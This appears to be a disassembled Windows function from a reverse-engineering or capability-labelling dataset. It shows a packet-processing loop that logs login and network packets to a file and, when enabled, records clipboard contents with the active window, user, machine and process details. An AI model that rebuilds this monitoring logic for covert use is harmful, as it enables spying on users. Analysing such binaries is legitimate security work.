Function at 0x1001a880
Capabilities:
Create thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cbf39
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x7bc
mov dword [ebp - 0x7c0], ecx
push str.Run___4:_Creating_packet_processors
call fcn.10010cb0
add esp, 4
push 0x50
call fcn.1009ead1
add esp, 4
mov dword [ebp - 0x794], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x794], 0
je 0x1001a8e4
mov ecx, dword [ebp - 0x794]
call fcn.1007ee50
mov dword [ebp - 0x7c4], eax
jmp 0x1001a8ee
mov dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x790], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x790]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov dword [edx], 0x10012910
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x7c0]
mov dword [eax + 4], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
call dword [sym.imp.ole32.dll_OleInitialize]
mov edx, 1
test edx, edx
je 0x1001b41e
mov byte [ebp - 0x19], 1
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 0x798], ecx
push 1
push 5
mov edx, dword [ebp - 0x798]
mov eax, dword [edx]
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor ecx, ecx
cmp eax, 5
sete cl
movzx edx, cl
test edx, edx
je 0x1001aa3a
cmp dword [0x100f4c5c], 0
je 0x1001a9fc
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 2
push 0
push 0
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], 4
push 0
lea ecx, [ebp - 0x14]
push ecx
push 4
lea edx, [ebp - 0x10]
push edx
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0x2ef0
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
add eax, 0x4610
push eax
mov ecx, dword [0x100f4c5c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
add eax, 0x4610
push eax
mov ecx, dword [ebp - 0x18]
call fcn.1007fb10
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 0x1c]
mov dword [ebp - 0x79c], edx
push 0xf
mov eax, dword [ebp - 0x79c]
mov ecx, dword [eax]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov byte [ebp - 0x19], 0
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x7a0], eax
push 1
push 5
mov ecx, dword [ebp - 0x7a0]
mov edx, dword [ecx]
add edx, 4
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor ecx, ecx
cmp eax, 5
sete cl
movzx edx, cl
test edx, edx
je 0x1001ab29
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
add ecx, 0x1720
push ecx
mov ecx, dword [ebp - 0x18]
call fcn.1007f9a0
cmp dword [0x100f4c5c], 0
je 0x1001ab02
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 2
push 0
push 0
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], 3
push 0
lea eax, [ebp - 0x14]
push eax
push 4
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x14]
push eax
push 0x2ef0
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
add edx, 0x1720
push edx
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x7a4], edx
push 0xf
mov eax, dword [ebp - 0x7a4]
mov ecx, dword [eax]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov byte [ebp - 0x19], 0
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x7a8], eax
push 1
push 5
mov ecx, dword [ebp - 0x7a8]
mov edx, dword [ecx]
add edx, 4
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor ecx, ecx
cmp eax, 5
sete cl
movzx edx, cl
test edx, edx
je 0x1001b2c2
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
mov edx, dword [ecx + 0x1100]
mov dword [ebp - 0x7c8], edx
mov eax, dword [ebp - 0x7c8]
sub eax, 1
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 0x17
ja case.0x1001ab9e.1
mov ecx, dword [ebp - 0x7c8]
movzx edx, byte [ecx + 0x1001b458]
jmp dword [edx*4 + 0x1001b42c]
mov ecx, dword [ebp - 0x7c0]
call fcn.1001ca80
jmp case.0x1001ab9e.1
push str.Processing_login_packet
call fcn.10010cb0
add esp, 4
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
add ecx, 0x1110
push ecx
mov ecx, dword [ebp - 0x7c0]
call fcn.1001c5c0
jmp case.0x1001ab9e.1
cmp dword [0x100f4c5c], 0
je 0x1001ac57
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 2
push 0
push 0
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], 0xd
push 0
lea eax, [ebp - 0x14]
push eax
push 4
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x14]
push eax
push 4
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
add edx, 0x1108
push edx
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x1108]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.1007f6e0
jmp case.0x1001ab9e.1
cmp dword [0x100f4c5c], 0
je 0x1001ad20
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 2
push 0
push 0
mov ecx, dword [0x100f4c5c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], 0x14
push 0
lea edx, [ebp - 0x14]
push edx
push 4
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [0x100f4c5c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 0x14]
push edx
push 4
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
add ecx, 0x1108
push ecx
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x10fc]
push eax
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
add edx, 0x1098
push edx
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx ecx, byte [0x100f4c44]
test ecx, ecx
jne 0x1001ad65
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
mov ecx, dword [eax + 0x1104]
push ecx
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
add eax, 0x1098
push eax
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x1108]
push eax
mov ecx, dword [0x100f4c54]
call fcn.1000d780
jmp case.0x1001ab9e.1
movzx ecx, byte [0x100f4c44]
test ecx, ecx
jne 0x1001ad90
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
mov ecx, dword [eax + 0x1108]
push ecx
mov ecx, dword [0x100f4c54]
call fcn.1000da10
jmp case.0x1001ab9e.1
movzx edx, byte [0x100f4c44]
test edx, edx
jne 0x1001adba
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
mov edx, dword [ecx + 0x1108]
push edx
mov ecx, dword [0x100f4c54]
call fcn.1000db10
jmp case.0x1001ab9e.1
cmp dword [0x100f4c5c], 0
je 0x1001ae68
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 2
push 0
push 0
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], 0x18
push 0
lea ecx, [ebp - 0x14]
push ecx
push 4
lea edx, [ebp - 0x10]
push edx
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0x14]
push ecx
push 4
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
add eax, 0x1108
push eax
mov ecx, dword [0x100f4c5c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
mov edx, dword [ecx + 0x10fc]
push edx
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
add ecx, 0x1098
push ecx
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [0x100f4c44]
test eax, eax
jne 0x1001ae9d
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
add edx, 0x1098
push edx
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
mov edx, dword [ecx + 0x1108]
push edx
mov ecx, dword [0x100f4c54]
call fcn.1000d930
jmp case.0x1001ab9e.1
push 0
push 0
mov eax, dword [ebp - 0x7c0]
push eax
push 0x1001a690
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x1001ab9e.1
push 1
push str.EnableClipboardLogging
mov ecx, dword [0x100f4c54]
call fcn.1000d5d0
movzx ecx, al
test ecx, ecx
je 0x1001b0db
mov dword [ebp - 0x28], 0
push str.Clipboard_Activity
lea edx, [ebp - 0x28]
push edx
mov eax, dword [0x100f4c54]
push eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
mov ecx, 0x100f56d0
call fcn.10070b50
lea ecx, [ebp - 0x78c]
call fcn.10073e10
mov dword [ebp - 4], 1
push 1
push str.ClipboardActivity
lea ecx, [ebp - 0x78c]
call fcn.10073fb0
push str.Machine
lea ecx, [ebp - 0x78c]
call fcn.10074820
push str.Stamp
lea ecx, [ebp - 0x78c]
call fcn.100746a0
push str.WindowsUser
lea ecx, [ebp - 0x78c]
call fcn.100748d0
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x1104]
push eax
push str.ProcessID
lea ecx, [ebp - 0x78c]
call fcn.100745d0
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x7500]
push eax
push str.ClipboardType
lea ecx, [ebp - 0x78c]
call fcn.100745d0
lea ecx, [ebp - 0x78c]
call fcn.10074350
push 0xffffffffffffffff
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
add edx, 0x7508
push edx
push str.ClipboardTypeTxt
lea ecx, [ebp - 0x78c]
call fcn.10074400
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
cmp dword [ecx + 0x7500], 1
jne 0x1001affd
push 0xffffffffffffffff
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
add eax, 0x7588
push eax
push str.ClipboardData
lea ecx, [ebp - 0x78c]
call fcn.10074250
jmp 0x1001b061
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
cmp dword [edx + 0x7500], 0xd
jne 0x1001b032
push 0xffffffffffffffff
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
add ecx, 0x7588
push ecx
push str.ClipboardData
lea ecx, [ebp - 0x78c]
call fcn.10074400
jmp 0x1001b061
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
mov ecx, dword [eax + 0x7504]
push ecx
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
add eax, 0x7588
push eax
push str.ClipboardData
lea ecx, [ebp - 0x78c]
call fcn.10074250
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x1104]
push eax
push str.ImagePath
lea ecx, [ebp - 0x78c]
call fcn.100747c0
push 0xffffffffffffffff
push 0x100f56d1
push str.ScreenCaptureID
lea ecx, [ebp - 0x78c]
call fcn.10074250
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x7504]
push eax
push str.RawByteCount
lea ecx, [ebp - 0x78c]
call fcn.100745d0
lea ecx, [ebp - 0x78c]
push ecx
mov ecx, 0x100f57d0
call fcn.10073b60
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x78c]
call fcn.10073ef0
jmp case.0x1001ab9e.1
cmp dword [0x100f4c5c], 0
je 0x1001b1d4
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 2
push 0
push 0
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], 5
push 0
lea eax, [ebp - 0x14]
push eax
push 4
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x14]
push eax
push 4
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
add edx, 0x1104
push edx
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 0x14]
push ecx
push 4
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
add eax, 0x10fc
push eax
mov ecx, dword [0x100f4c5c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 0x14]
push edx
push 4
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
add ecx, 0x1108
push ecx
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x10fc]
push eax
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
add edx, 0x1098
push edx
mov eax, dword [0x100f4c5c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
add edx, 0x1098
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
movzx ecx, word [eax + 2]
push ecx
call dword [sym.imp.WSOCK32.dll_ntohs]
movzx edx, ax
mov dword [ebp - 0x24], edx
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
mov edx, dword [ecx + 0x1104]
push edx
mov eax, dword [ebp - 0x20]
movzx ecx, word [eax + 2]
push ecx
call dword [sym.imp.WSOCK32.dll_ntohs]
movzx edx, ax
push edx
mov ecx, dword [0x100f4c54]
call fcn.1000b2e0
movzx eax, al
test eax, eax
je 0x1001b242
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov dword [edx + 0x110c], 1
jmp case.0x1001ab9e.1
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
mov dword [ecx + 0x110c], 0
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
mov ecx, dword [eax + 0x10fc]
push ecx
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 8]
add eax, 0x1098
push eax
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x1104]
push eax
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 8]
mov eax, dword [edx + 0x1108]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.1007f740
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x7ac], edx
push 0xf
mov eax, dword [ebp - 0x7ac]
mov ecx, dword [eax]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov byte [ebp - 0x19], 0
mov edx, dword [0x100f4c78]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x7b0], eax
push 1
push 5
mov ecx, dword [ebp - 0x7b0]
mov edx, dword [ecx]
add edx, 4
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor ecx, ecx
cmp eax, 5
sete cl
movzx edx, cl
test edx, edx
je 0x1001b327
mov ecx, dword [ebp - 0x7c0]
call fcn.1001a2d0
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x7b4], ecx
push 0xf
mov edx, dword [ebp - 0x7b4]
mov eax, dword [edx]
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov byte [ebp - 0x19], 0
mov ecx, dword [0x100f4c78]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0x7b8], edx
push 1
push 5
mov eax, dword [ebp - 0x7b8]
mov ecx, dword [eax]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor edx, edx
cmp eax, 5
sete dl
movzx eax, dl
test eax, eax
je 0x1001b409
cmp dword [0x100f4c5c], 0
je 0x1001b3d8
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 2
push 0
push 0
mov ecx, dword [0x100f4c5c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], 0xc
push 0
lea edx, [ebp - 0x14]
push edx
push 4
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [0x100f4c5c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 0x14]
push edx
push 0x80
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 8]
add ecx, 0x1010
push ecx
mov edx, dword [0x100f4c5c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x100f4c60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x7c0]
call fcn.1001c8f0
mov eax, dword [0x100f4c78]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x7bc], ecx
push 0xf
mov edx, dword [ebp - 0x7bc]
mov eax, dword [edx]
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov byte [ebp - 0x19], 0
movzx ecx, byte [ebp - 0x19]
test ecx, ecx
je 0x1001b419
push 0x28
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1001a93d
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret